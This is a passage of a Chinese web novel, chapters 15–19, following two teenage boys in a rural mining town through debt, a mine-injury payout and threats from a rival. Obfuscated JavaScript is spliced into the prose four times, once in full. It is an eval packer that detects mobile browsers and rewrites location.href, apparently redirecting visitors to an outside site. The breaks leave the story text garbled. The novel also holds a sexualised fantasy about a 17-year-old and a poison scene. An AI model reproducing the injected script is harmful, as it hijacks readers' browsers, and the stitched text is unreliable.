程野凑得太近了,近到江时能感受到他身上蓬勃的热度,带着被阳光烘烤过的青草味道,甚至还有心跳声。 他有些不自然地往后撤,“说话就说话,靠那么近干什么?” 程野听话地往后退了点,眼神依旧看着他,“那要买下我吗少爷?” 江时以为他在开玩笑,往上挑了下眉梢,“买下你,你会听我话吗?” “会。” “我让你干什么都行?” “嗯。” “当牛做马也可以?” “当狗都行。” “……” 15.第 15 章 江时没有认人当狗的爱好。 他松开手,“反正钱我给你了,你当是借的也好,算我资助你的也行,拿了钱就把之前欠的那些还了,然后辞了你矿上的工作,回来好好读书。” 程野问他,“万一我还不上,又或者考不上大学,到最后和现在一样,还是得进厂打工,你的钱岂不是打水飘了?” 江时没忍住又踹了他一脚,“那就当我喂狗了。” 程野裤子上印着两个灰扑扑的脚印。他侧头看江时,看他眼底倒影着交错树影。 “不会让你的钱打水漂的。” “不过……”他扭头看着头顶广袤的天,“在回来上学之前,我还得再回去办件事。” - 王刚住院了。 矿产是私人承包的小作坊,安全措施很不到位。王刚干的时间久,基本上每次下矿都走最前面,工资比其他工人高一些,相应的,风险也大。 上次程野救了他,这次就没这么好的运气了。 他断了一条腿。 程野买了水果去医院看他。 他架着腿靠在床上,身边是瘸着腿的老婆,两人几天内仿佛苍老了很多岁,一个躺着,一个坐着,没人说话。 看见程野,瘸腿的中年妇女让开了位置,王刚青灰的脸挤出一个笑容,“你来了。” 程野把手里的那袋橘子放在一边的柜子上,看了眼他打着石膏的腿,“怎么样?” 中年男人伸手抹了把脸,“死不了。可能老天就是想收我这条贱命,该来的总会来。” 程野坐他旁边,除了对着江时,他脸上一贯的没什么表情,“那上面怎么说?” “还能怎么说?还不是跟你一样,补贴点医药费,剩下的全靠自己。” 穷人的命,是最不值钱的东西。 程野问他,“那你甘心吗?” 王刚愣了下,他旁边的少年抬着眼眸望他,那眼神漆黑,仿佛能吞噬一切。 程野人高,平日里总是垂着眼,再加上他沉默寡言的,看不清眼底神色时,总觉得他老实木讷。 可如今直视着那双如狼一般的眼神,王刚才发觉,他眼底的火,烧得比谁都烈。 被这双眼睛看着,王刚有些不敢直视,他别过脸,嗓子发干,“什……什么?” 程野却朝他伸出手,“把你手机给我。” 王刚不明所以,但还是给他了。 少年低着头,熟练地解锁,对着王刚的手机翻找。 程野找到隐藏在文件夹里的录音文件,他把手机放在床上,探过腰从旁边拿出一个橘子。 “领队找我的时候,我跟你借了手机。” 他说完的下一秒,手机里传来滋滋的电流声,然后是有些失真的男声。 “小程啊,我也知道你家里困难,可你这情况不用我多说吧?” “你还没成年,招你就是雇用童工,我们也是冒了很大风险的,如果不是我们,谁还愿意收你?这做人要懂得感恩是不是?” 空气安静了几秒,然后是程野放低的声音。 “我知道,可是我家就我一个人了,我爸死之前还留了好几万的债给我,李哥,我也不想给你们添麻烦,可我实在没有办法了。” “啧,程野,我就这么跟你说吧,那天你牵线找上我,说要过来,我在老板面前好说歹说,他才同意的,虽然你的工资比其他人低了点,但是我们也承担了很大的风险的。” “可我在矿上出了事,我是你们的工人,按道理是要赔偿的。” “哪有那么多的按道理?公司愿意给你五百的医疗费用已经是仁至义尽了,如果不是你非要逞英雄,哪来的这么多事?” “我丑话说在前头,你也别想着去告,你出去打听打听,谁不认识张爷?你今天去告了,从今以后,这林城的矿山,你是一家也呆不下去。” “不是我威胁你,只是你还小,这很多人情世故你不懂。你呢,就好好养伤,年轻人嘛,受点伤,几天就恢复了。加油好好干,以后给你涨工资,毕竟你还欠着那么多钱,想想以后。” 录音到此为止。 程野把剥好的橘子递给王刚,“我有录音,再加上你的证词,我们可以告。” 王刚看着递在跟前的橘子,怔怔地,没有说话。 程野接着说:“你的腿有后遗症,他们不会再要你了。” “……” 王刚张了张嘴,一个字也吐不出来。 半晌,他颤抖着手接过了橘子。 - 林城的半夜下起了雨。 春日里的雨来得迅疾,雾气裹挟着冬日没消散干净的寒意,连浸湿的泥土都泛着冷。 面容俊朗的少年踩着泥水进了家小买部,他头发半湿,身上只穿了件单薄外套,橙黄的路灯落在他肩上,消瘦挺立。 程野半倚在门边,从兜里摸了张崭新的百元现金放在柜台上,“来包烟。” 老板看了眼他,又看了眼柜台上的钱,手下意识往里面摸,“多少钱的?” “最便宜的。” 老板往里的手撤回到最外围,拿了最便宜的烟丢他面前,“三块。” 程野拿了烟,又买了个打火机,接过找给他的零钱,踩着雨回到宾馆。 二十块钱一晚,里面简陋得只有一张床,上面的被子泛着黄,也不知道洗没洗。 程野坐在床上,雨丝挂在他的发梢,当他低头时,无人察觉的露珠微颤颤地晃了晃,坠落在他鼻尖。 窗外是深沉的夜,雨把玻璃拍打得噼啪作响。 程野撕开烟盒,从兜里摸出打火机。 - 咔哒—— 窜起的火苗点亮少年漆黑的眼。 二月的溪柳村冷得刺骨,周遭是一眼望不到头的黑,树影重重,一双泛着绿光的眼伏在暗处。 程野背靠着树坐在地上,他咬着烟往泛着绿光那里看了眼。 寂静的空气里传来细微的低吼,随后,绿光慢慢消失在更深的丛野。 细雨穿过头顶的枝丫落在程野脸上,他又点了根烟。 猩红的烟头被冷风吹得闪烁,和越燃越旺的烟头相比,沉寂下去的是他眼底的神色。 三角一斤的香菜,二十斤卖了六块。 三块一盒的烟,三块一瓶的敌敌畏。 买的时候程野很平静,空旷的筐里放着个小小的瓶子,他走一步,瓶子在筐底晃一圈。 回去的路他走的近道,原本十多分钟的路程,他五分钟就爬到了三岔路口。 三岔路口旁边的山坡上有一颗巨大的野棠梨, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没人来救他,黑暗中的唯一看客摸出第五根烟放在嘴里。 少年选择了去山上的那条路。 程野看着他的背影,点燃了第五根烟。 烟雾在眼前升腾,他单手拧开了敌敌畏的盖子。 雨又变大了点,深处传来山鸡的叫声。 辛辣的味道深深吸进肺里,呛得人生疼,程野偏过头咳了声,看着那道光亮消失。 一根烟的时间。 他给彼此最后一根烟的时间。 终于,最后一点光燃尽,在熄灭的前一秒,跳跃的白光从山上飞奔过来。 那光像蝴蝶,柔和的闪烁,又像星辰,点亮了漆黑的夜。 程野抬手,将敌敌畏倒在地上,抓起筐,下了坡。 他打开手电筒,在心底默念: 一。 二。 三。 咚—— 蝴蝶撞进了他怀里。 16.第 16 章 没人知道那个晚上发生了什么,就连江时也只是觉得在他刚来柳溪村没几天的那个冬夜,撞了他的少年话少又老实。 咔哒—— 打火机的声音再次响起,程野坐在宾馆里点了根烟。 他拉开薄薄的外套,从怀里拿出从一开始就藏好的信封,他用指尖挑开信封,借着头顶的灯光,看清里面的东西。 里面的装的全是红彤彤的现金,不多不少,刚好一万。 矿山利润太大,而且过度开采对环境的破坏很大,上面早就想整治,只是一直找不到合适的机会。 程野的出现给了这个机会。 他手里拿着录音,还有一本王刚这么多年来记录的账本。 雨水打湿少年的肩头,他踩着破了一个洞的鞋坐在宽敞明亮的办公室里,对面西装男人带着审视的眼神落在他身上。 程野对视回去,带着不属于十七岁少年的冷静。 他只有一个诉求—— “我要钱。” 一份录音和一个账本换了两万,其中一万给了王刚。 程野抽完了一根烟,又盘着腿坐在床上点了一遍钱。 他忽然想到之前很多次路过街中心的那家服装店,窗边挂着件黑色外套,太阳落在外套肩头时,黑色闪耀出细碎的金光。 江时穿上肯定很好看。 - 江时在学校门口买炸土豆。 周末他没回去,把钱给了程野后,小少爷忽然对钱的数值开始上心了。 回家一趟来回二十,而在这个物价不是很高的时代,二十够一个普通学生吃一个星期了。 江时一合计,当即就决定不回去了。与其花钱来回奔波,不如躺宿舍里睡觉。 他不去,高新和也不去了。 开学没多久,高新和那头红毛就被教导主任看见了,甚至都没给他心理准备的时间,拿着剪刀当场就给他剪了,只留下短短的一茬黑发,将他的单眼皮、塌鼻梁、小黑脸全给暴露出来。 害得他天天躲被子里哭,等到周末了也不见心情好转。 他哭兮兮地跟在江时身后,江时无奈,只能安慰他,“这样吧?我请你吃东西。” 高新和一吸鼻子,“我要吃炸洋芋。” 江时:“……” 行吧,炸洋芋就炸洋芋。 卖土豆的老板是个五十多岁的大叔,生意很好,江时和高新和排了好一会的队才到他们。 高新和站在前面,光秃秃的后脑勺迎风招展,“老板,加麻加辣。” 老板拿着大漏勺把桶里切好的土豆放油锅里,往前一看,乐了,“小伙子,你这造型还挺别致。” 高新和:“……” 老板又说,“这鼻子,这眼睛,露出来多好看。” 小眼睛、塌鼻子的高新和:“……” 江时偏过头,忍了忍,没忍住弯着眼睛笑起来。 高新和幽怨回头,“小表哥……” 和江时那张脸一对比,高新和显得更加的惨不忍睹,他开始后悔和江时一起来吃炸洋芋了。 油温滚烫,很快一锅土豆就好了,老板把高新和的拌给他,下一个就到了江时。 江时说:“我不要辣椒,谢谢。” 老板头也不抬地往里加了勺辣椒,“吃炸洋芋没得辣椒哪个行哦。” 江时:“……” 他眉心一跳,“够了,这点就够了。” “不够。”老板单方面否定他,“洋芋都没红,这点跟没放有什么区别。” 两分钟后,江时捧着一碗红彤彤的炸土豆跟高新和站在路边。 高新和的嘴跟上了发条一样,就这么会的功夫已经吃了一半多,边吃边问江时,“小表哥,你不吃吗?” 江时瓷白的指尖捏着细细的竹签,闻着鼻子边的味道,犹豫了会,还是忍不住轻轻咬了口。 下一秒,他把土豆往高新和手上一放,红着脸去旁边的小卖部买水。 等出来时,高新和身边站着一个人影。 江时脚步停顿,等到那人朝他看过来时才喃喃出声,“程野?” 程野两步迈到江时身边,低头看着他手里喝了小半瓶的水,“被辣到了?” 江时抿抿发麻的嘴巴,问他,“你这么快就回来了?事情办好了?” “办好了。” 程野说的办好,不仅仅把工作的事解决好,甚至还把学校的也办好了。 江时一回去,发现自己多了个室友。 他手里还端着那碗吃了一口的炸土豆,看着快有宿舍天花板高的男生正弯着腰在他对面上铺铺床。 江时不合时宜的想,程野那么高,睡上铺真的不会把天花板给戳破吗? 他把这个想法摇出去,还是想不通为什么他会成为自己的新室友,“不是,你怎么会在这里?” 程野面不改色,“开学太久,原来的宿舍安排别人住进去了,而且我也不适合在一班,所以就被分到了三班。” 那还真是巧。 江时面无表情。 程野的被褥都是薄薄的一层,和江时的温暖小窝比,他那边简直就是非洲难民。 但难民丝毫察觉不到其中的差距,随意给自己套完被罩,发现江时还站在下面看他,于是道:“我给你买了东西,在旁边的桌子上。” 江时扭头看去,发现桌子上果然放着个袋子,他拿过来打开看了眼,里面是一件黑色外套。 他心底有些惊讶,随手将里面的黑色外套抽出来,发现衣服的材质和版型都很好,入手质感硬挺却不扎手,肩头藏了暗丝,被光一照,闪烁着细碎的流光。 江时摸着衣服,抬起眼看跪在上铺的程野,“你买的?”他又翻了翻,没看见吊牌,“多少钱?” 程野张开手臂一抖,被子松松垮垮的搭在床铺上,他也没管,转身下了床。 少年的手放在黑色衣服上,衬得那只手如玉一般的白,手指修长,指节带着很浅的粉。 果然像他想的那样,这件衣服江时穿肯定很好看。 程野道:“不贵,没多少钱。” 江时又不傻,衣服贵不贵他摸不出来吗? 他心底有些生气。程野都穷成那样了,还债的钱还是他出的,结果这位哥倒好,一转头买了件不便宜的衣服。 可这衣服是买给江时的,他自己还盖着根本抵抗不了寒意的被子。 江时发火都不知道发谁的火。 他冷着脸,“你给我买衣服干什么?” 程野老实道:“觉得好看,适合你,就买了。” 江时:“……” 还在宿舍里的两位室友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江时不知道室友在想什么,直到程野带饭回来了他还冷着一张脸。 程野先把筷子递给他,江时很有骨气地不接,“我不吃。” 程野拆开打包盒,“我买了牛腩。” 浓郁的番茄汁裹着牛腩,除了盐以外没放什么调料,是江时之前一贯的口味。 香味飘了过来,江时眼神动了下,脸色依旧很臭,“我说了我不要。” 以往为他是从的程野此刻却强硬地把筷子塞到江时手里,单手将旁边的桌子拉到江时跟前,垂眼看他,“六点了,你该吃饭了。” 语气是江时从来没听过的不容置喙。 江时握着筷子,感觉自己莫名其妙地被安排了,他张嘴,“我不……” 程野撩起眼皮,“江时。” 简短的两个字,江时下意识端起跟前的米饭,见程野还在看他,他塞了块牛肉到嘴里。 吃完了才反应过来自己刚刚在干什么。 “……” 不是,是他有病还是程野有病? 17.第 17 章 有病的程野见江时吃了后,拉过一张椅子坐他对面,开始解决江时冷掉的炸洋芋。 江时惊呆了,“这土豆已经冷了。” 虽然他只吃了一小口,但也是他吃过的,程野吃他吃剩的,这算什么事? “能吃。”程野看了他一眼,“江时,吃饭就吃饭,别说话。” 江时:“……” 你还教训上了。 他伸出脚,在桌子底想踹程野一脚,但没掌握好力度,只听见砰地一声,桌子都被他踹得歪了几分。 正在看书的两个室友默默把目光投过来,只见程野把歪掉的桌子扶正,伸手拍拍裤腿,然后道:“再不吃就冷了。” 好吧……室友收回目光,是他们不懂。 江时:“……” 这么会过去,他的脾气也被程野磨得差不多,懒得再看他一眼,低着头吃自己的饭。 江时胃口小,吃饱了手里的饭菜还剩一半。他打了小小的饱嗝,看着还剩一半的饭,鬼使神差地朝程野看过去。 程野把装土豆的盒子丢垃圾桶里,无比自然地朝江时伸出手,“给我吧。” 江时愣愣地递给他。 程野吃完了江时不要的土豆,又接着吃江时吃不完的晚饭。 他吃饭的速读很快,两三口就扒拉完一半。江时还没反应过来,程野就快吃完了。 “不是……”他道:“这是我吃剩的。” 程野很是无所谓,“不能浪费粮食。” 那也不是这种节约法啊…… 江时委婉建议,“你要是没钱,我可以给你买一份的。” 程野连汤带饭两三口吃完,打包盒一丢,顺手还把江时面前的桌子擦干净,“不用,吃饱了。” 江时:“……” 两个室友抱着盆去水房洗漱,宿舍安静下来,不知道哪里来的小飞虫在灯下打转。 那件江时丢在一边的黑色外套被程野拿在手里,他蹲在江时面前,仰着头看他,没了刚刚让他吃饭的强势,放低声音,弱弱的求他。 “少爷,换上我看看合不合身。” 明明是祈求的话,偏生“少爷”两个字他喊得绵长,声音由青涩向成熟过度,低沉沙哑。 江时被他喊得耳根发酥,不敢看他眼底浓烈的色彩,往旁边挪了挪,“不试。” 程野道:“没了吊牌真的退不了,但是不合身的话还能换,如果你不试,衣服又不合身的话,那就真的浪费了。” 江时被他说得目光动了动。 程野又接着道:“买都买了,你就穿上看看。”说完,他压低声音再次求江时,“好不好?” 江时一把拽过他手里的衣服,恶狠狠地警告程野,“我跟你讲,这是最后一次。有钱的话先捯饬捯饬你自己吧,衣服裤子不知道短成什么样了,谁稀罕你那点东西。” 从小养在金银窝的少年似乎从来没学会委婉表达,无意识讲出来的话尖锐又伤人,可程野却像完全感觉不到,直直地盯着江时。 “好,你先穿上看看。” 他眼里的神色过于滚烫,江时被他看得指尖有些发麻。他也不知道自己怎么回事,对着程野过于炙热的眼神,拒绝的话卡在嘴边怎么也说不出来。 终于,江时伸手勾住程野手里的外套。 黑色将他肤色衬托得极白,利落的版型让人显得更加英气,可上挑的眼尾又让这英气里夹杂着几分旖旎的艳。 正如程野想的那样,江时穿上很好看。 他喉结滚了滚,像被骨头勾住的狗,高大的身躯匍匐在江时面前,隐忍到一定程度时,额角青筋一突一突地跳。 “很好看。”他哑着声音夸赞。 江时被他看得不仅手麻,就连尾椎也爬上一股酥麻。他的心跳快了几拍,出于某种直觉,穿上没几分钟就把身上的衣服脱了下来,“我又不是女孩子,好看什么好看。” 程野说:“你比女孩子还好看。” 江时虽然自恋,但被他这么说,还是忍不住踹了他一脚。 刚洗漱完回来的两个室友:“……” 其中一个弱弱劝道:“江时,大家都是同学,要学会互相包容。” 江时:“……” 烦死了。 他端着盆出去洗漱。 程野顶着脚印跟他身后。 …… 程野不知道通过什么手段转进了三班,坐在江时后面,一个人一桌。 江时的日子和往常一样没什么区别,听得懂就听,听不懂就睡觉玩手机,只是偶尔往后一瞥,总能看到一个熟悉的身影。 一晃就到了下个周末,程野要回去还钱,江时跟着回去。 他们回去,小尾巴高新和也要回去。 他们三挤在中巴车的最后一排,高新和歪头看程野,“哥,同样都是寸头,为什么你的头看起来和我的头不一样?” 程野说:“因为你丑。” 高新和:“……” 他叭叭,“都怪我爸的基因太强大,把不好的都遗传给我了,我听班上的女生说,这年头有种东西叫整容,你说我去把我鼻子给……” 他话还没说完,程野忽然看了他一眼。 高新和一愣,扭头,发现坐在最里面的江时不知道时候睡着了。 他身上穿了件他从来没见过的黑色外套,侧着脸闭着眼,清晨,太阳的光影穿梭,在他纤长的眼睫下投出一排剪影。 高新和默默闭上了嘴。 程野侧了侧身子,看着少年随着时间的推移,一点点往他那边歪,最后靠在了他肩头。 风从前排开了一条缝的窗户灌进来,撩开江时额前的碎发,离得近了,程野才发现江时的鼻尖有一颗小小的痣,像是作画时不小心溅上去的一点。 风吹得江时有些冷,他迷迷糊糊地往程野颈窝里缩了缩,几乎把整张脸埋在了他的肩膀上。 程野低眸,看着少年靠在他肩上,鼻尖挨着脖子,呼出来的气息落进锁骨、滑进胸腔,烫得他皮肉连着血液几乎快要沸腾,叫嚣着要冲破什么,可面上却是克制的。 克制着用眼神一点点扫视。 如果目光能化为实质的话,江时此刻已经被了扒了衣服,露出雪白的内里,被侵入,被捣碎,那鼻尖的一点颜色会被含在嘴研磨,直到黑被吮得透红。 程野抬手,盖住落在少年眼皮上的阳光。 眼眸黑沉。 我的。 - 程野一回去就把钱还了,放高利贷那边的人没说什么,倒是拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江时原来的身份江雪瞒得很好,谁也没说,但高新和他妈和江雪玩得好,高权从她那里多多少少知道了些。 光看江时一身的气度,就知道江城的那个宋家不简单。 可如此轻松地掏出两万来帮助一个刚认识没多久的人,高权不知是感叹江时有钱还是感叹程野命好。 知道真相后,他也不打扰两个小年轻,“我就怕你误入歧途,所以过来问问,既然这样,那我就回去了,改天来家里找小新子玩啊。” 目送高权离去,程野用手扣着手边的柜子,淡淡的,“少爷,柜子还要吗?” 江时看了眼,“你连柜子也要丢?” “您打一开始就坐我家门口,这也嫌弃,那也嫌弃,我还以为你要把我家里的所有东西都丢了呢。” 江时把手里的瓜子皮丢他脸上,“滚犊子。” 程野笑了。 下一秒,江时的手机响了起来。 江时看了眼,是个不认识的号码,他没作多想,按了接听键。 “宋时……”那头传来熟悉的声音,笑容懒散又充斥着恶意,“好久不见。” 18.第 18 章 江时脸上的笑慢慢消失,他拿着手机,喊出对方的名字,“霍寂。” “surprise。”对面传来一声浅笑,“宋时,没想到我这么快就找到你了吧?” “是没想到。”江时道:“不过也能理解,狗嘛,鼻子是比人的好用。” 被他这么骂,霍寂也不生气,“我是狗,那你是什么?” 江时冷着一张脸没说话。 “你现在是叫江时是吧?”霍寂靠在沙发上,推开靠过来的女生,给自己点了根烟。 他眯着眼睛看着跟前群魔乱舞的一群人,抬起手指在嘴边比了个“嘘”的手势。一瞬间,杂乱的声音如同潮水退去,包间安静得只有霍寂一个人的声音。 “江时,你真狠的心,说走就走,留我一个人在江城,连句告别的话都不跟我说。” 坐在霍寂身边的女生清晰地听到他手机里传来一个男生的声音,“你是老几?我凭什么告诉你?” 男生这句话说完后,空气有一瞬间的凝滞。 女生吓得脸都白了,小心翼翼地抬头看霍寂的脸色。对方依旧笑着,只是那双眼睛暗沉沉的,“江时,你还是跟以前一样,哪怕从矜贵的小少爷变成浑身泥巴的乡下人,身上的刺依旧一根不少。” 他道:“没了宋家的庇佑,刺太多可不是件好事。” 江时回他,“不劳您费心,有那个功夫操心我,还不如多管管你自己。” 霍寂收敛嘴角的笑意,“我听说你从宋家走的时候一分钱也没带走,我的小少爷,换地方了还待得惯吗?骨气可给不了你优越的生活,粗糙的被子磨坏你娇嫩的皮肤我可会心疼的。” “或许你可以求求我,你知道的,我一向拒绝不了你。” 回应他的是电话挂断的忙音。 霍寂咬着烟,脸色黑了一个度,他再次打过去,果不其然被拉黑了。 他猛地抓着手机朝墙上砸去。 砰—— 手机瞬间四分五裂。 在场的所有人都被吓了一跳,默默缩着脖子,不敢说话。 一个黄毛从角落里挤出来,他坐到霍寂身边,给他倒了杯酒,“霍哥别生气,宋时他就是贱脾气,谁不知道他现在是整个三中的笑话。” “他有什么好傲气的,到头来还不是他鸠占鹊巢?要我是他,现在就赶紧跪在霍哥脚边,只有靠着您,才能过上好日子是不是?” 霍寂靠在沙发上没说话,灯光迷离,黄毛看不清他脸上的表情,但他没制止就是对他最大的鼓励。 他接着道:“要我说啊,就得让他吃吃苦头,只有吃过苦,受过罪,他才知道您的好。” “是吗?”霍寂扯着唇笑了声,朝黄毛脸上吐了口烟,“你说,要让他怎么吃苦?” 黄毛陪笑着接纳这口烟,“那种穷乡僻壤的地方,随便找两个人……” 他附在霍寂耳边,嘟嘟囔囔地说了一堆话。 霍寂听话完了。 “是挺不错的想法。”他抬手摁熄烟,毫无预兆地抓起手边的酒瓶砸在黄毛头上。 砰地一声,酒水和玻璃片碎了满地,等包间里的众人反应过来的时候,黄毛已经捂着头躺在地上痛苦哀嚎了。 霍寂一脚踩在他手上,“我和宋时的事,还轮不到外人插手。” “你这双手如果还想要的话,我劝你离他远一点。” - 另一边,江时挂断电话,然后直接将电话拖进黑名单。一回头,程野跟个幽灵一样站在他身后。 江时被吓了一跳,本来接到霍寂的电话他心情就不好,程野还跟个背后灵一样,看得他更不爽了。 “不是,程野你有病吧,无缘无故站我后面干什么?” 他的滑盖手机虽然是市面上比较贵的那款,但这时候的手机通话声音都算不上小,程野站江时旁边能听到个七七八八。 “江时。”他幽幽盯着江时,“谁给你打电话?” “你管谁给我打电话,跟你有关系吗?” 程野不说话,就这么看着他。 虽然江时在程野面前很豪横,可对上他那漆黑的眼神时,他下意识的还是有点犯怵。 “一个自以为是的傻逼罢了。”说完江时觉得自己这样也太丢面了,又凶巴巴地板起脸,“你是我爸吗,问东问西的,烦不烦!” 程野伸手从兜里摸出一颗奶糖,“对不起,我只是看你好像不是很喜欢他的样子。” 江时也不知道他的糖是哪里来的,他既然给了,他就勉强收下这份道歉的礼物。 甜滋滋的奶味在口腔化开,程野又开口了,“你不喜欢他吗?” 江时咬着糖皱起眉头,“一个傻逼,谁乐意喜欢他。” “嗯。”程野笑了,“我也不喜欢他。” 江时:“……” 那我是不是还得夸一下你? 霍寂打完电话没多久,张池就急匆匆的打来找江时。 “江时,那只死火鸡有没有给你打电话?” 下午的阳光并不热烈,三月中旬,程野家院子里的樱花快谢完了,枝丫抽出新绿的嫩芽。 江时靠在樱花树下昏昏欲睡,听张池这么说,乐了,“打了,然后被我拉黑了,火鸡估计气得跳脚。” “靠!”张池道:“这不要脸的东西,他问我要你手机号要不到,转头跑去套路宋建安,那个哥一看就单纯得要死,估计连你住哪里都被他问出来了。” 江时愣了愣,“他没欺负他吧?” “重点是这个吗?” “不是吗?” 张池:“……” 他恨铁不成钢,“你可真是我爹!他欺负宋建安干什么?宋建安人长得黑不溜秋的,火鸡那贱人多看他一眼都不想。” “而且,宋建安眼里压根没有世俗的欲望,只透露出对学习的渴望,人看着瘦瘦小小的,性格比驴都还犟,据说为了套你的消息,火鸡还假装了两天的好学生。” “也就是宋建安单纯,压根看不透这厮的人面兽心。” “哦……”江时满不在乎,“他没欺负人就成,你没事给我看着点宋建安,平日里那些爱在我跟前叫嚣的多注意一下,免得他被欺负了。” 张池很不情愿地应下,“怎么感觉我跟个老妈子似的?江时,我是你朋友,又不是他朋友,天天照顾他是怎么回事?” 江时道:“我之前什么处境你不知道?就像你说的,他人很单纯,可别因为那些烂人葬送了光明的未来。” 他被太阳照得眯着眼睛,看着不远处程野端着盘菠萝过来。 菠萝泡了盐水,切成小块,还贴心地插上牙签。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206522|165105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江时道:“就当我欠你个人情,什么时候有空请你吃饭。” “请个屁!”张池呸他,“你先养活你自己吧。不是我说,你真的要小心点,霍寂已经知道了你的手机和住址,你现在又没个靠山,他想整你简直易如反掌,实在不行我给你派两个保镖过来?” 江时无语,“要不你直接花钱给我盖个大别墅,二十四小时轮班站岗。” 张池还认真的考虑了下,“也不是不行……” 江时张嘴刚想说话,站他旁边的程野忽然开口,“昨天买的菠萝,尝尝看甜不甜。” 他说话的声音算不上很大,但也绝对不小,再加上两人间的距离,足够电话那头的张池听见。 张池立即把耳朵竖起来,“江时,你身边谁在说话?” 江时也不知道程野犯的什么病,非要在他接电话的时候讲话,他敷衍道:“来这边认识的一个朋友。” “什么?你都有朋友了!” 这话说得,江时张嘴欲驳,程野忽然弯腰凑近他的手机,“你好,我是江时在这边认识的朋友,我叫程野。” 江时:“……” 你还自我介绍上了。 张池有种自家狗子有了别的狗的感觉。 只可惜江时从小到大身边狗没多少,苍蝇倒是多不胜数,他很警惕的询问,“你跟江时是怎么认识的?” 程野道:“他刚来的时候我不小心撞了他,一来二去就熟悉了。再后来,他看我可怜,没爹没妈的,帮助我很多。对了,他还花钱雇我给他当保镖。” 江时:“……” 怎么什么都往外说? “好好好!”张池笑了声,“保镖是吧,你给我记住一个人,只要看见他就给我乱棍打出去。” 程野语气透着疑惑,“谁啊?” “霍寂。” 程野挑了下眉,记住8这个名字,“他怎么了?” “我跟你讲,他啊就是个……” 啪地一下,江时挂了电话。 程野收回目光,问江时,“怎么忽然挂了?所以霍寂这个人怎么了?” 江时推了他一把,“没怎么,社会上的事少打听,收拾你的屋子去。” - 短暂的晴了两天,紧接着就是连绵不断的春雨。 大地喝饱了水,溪柳村的播种时节开始了。 江时压根不知道这些事,是听程野说要回去种地才知道的。为了节约时间,周五放学程野约了面包车就要回家,江时想了想,道:“我跟你一起。” 程野连个书包也没有,从桌箱里找出这个周的作业拎着就要走,听江时这么说,他停下步子,垂下眼看他,“少爷,要跟我一起回去种地吗?” 每当他喊少爷的时候,江时总觉得他格外的不正经,可偏偏程野那张脸大部分时间都没什么表情,眉目深沉,透着股冷峻的感觉。 这冷和江时那种谁也看不上的高冷不一样,而是那种骨子里的冷漠,他是谁也不在乎。 但江时除外。 也只有江时一个人觉得他是个老实人,可老实人也有不老实的时候,江时给了他一下。 “什么少爷,别乱喊,谁要跟你种地了,我是回去帮我妈。” 程野愣了一秒,然后扫了眼江时,实话实说,“你帮不了。” 19.第 19 章 江时一听,果然又不开心了,“程野,你什么意思,什么叫我帮不了忙?” 程野有时候一张嘴能把江时气个半死。 “那些活你干不了,也不适合你干。” 小少爷只需要乖乖坐着等着他伺候就好了。 很显然,这些话听在江时耳里又是另外一个意思。他挎着书包用肩膀撞开程野,“哦,你了不起,你什么都会,看不起就直说呗。” 程野被他撞得趔趄一下,伸手去抓江时的胳膊,“我不是……” 他话还没说完,江时一把甩开他的手,头也不回地走了。 程野:“……” - 他们回去,高新和也跟着回去。 七人坐的面包车,他们到的时候只剩最后面三个位置,江时第一个上车,坐在靠边的位置,眼看着程野跟过来,他朝高新和道:“大表弟,你坐过来。” 高新和夹在两人中间,看看江时,又看看程野,最后微颤颤地坐在两人中间。 车子一启动,江时就闭着眼睛,也不知道是真睡还是装睡。 高新和往程野那里靠了靠,“程哥,你又惹我小表哥生气了?” 程野:“……” 他凉凉,“你很闲吗,动不动就跟我们回家?” 高新和委屈,“我这不是想着一起有伴嘛。” “你多大了,还要伴?” “……” 高新和哇地一声哭得很伤心。 从学校到溪柳村,江时很有骨气地一句话都没和程野说。他手里拿着书包,一下车就铆着劲往前冲,脚步生风的冷着脸到了家。 把刚回家的江雪吓了一跳。 “你怎么今天就回来了?脸色这么差,谁欺负你了?” “没谁。”江时道:“我听说开始种地了,回来帮忙。” 江雪愣了下,然后哎哟一声,“谁要你帮忙了,这是大人的事,你好好待在学校学习就好了。” 江时现在最听不得“不要帮忙”这几个字,当即有些不高兴地抿嘴,“为什么不要?你也觉得我干不了活?” 江雪:“……” 她磕磕绊绊解释,“没有觉得你干不了,只是妈妈一个人可以的,不需要你帮忙,要是耽搁了学习怎么办?” 江时道:“反正我学习也不好。” 江雪:“……” 这孩子受什么刺激了?怎么一副非要下地的样子。 “呃……你先听妈妈说……” 江时打断她,“同样都是人,宋建安能干我怎么就不能干了?” 江雪又想哎哟了,“建安以前在家我也没让他干活。” “你骗我,他不干活,怎么会生得那样黑?” 江雪:“……” 他那是天生的。 眼看他是铁了心的要下地,江雪也不劝他了,只是道:“行吧,那你跟我一起去,只不过中午太阳大,我们去得很早,六点就出门了。” 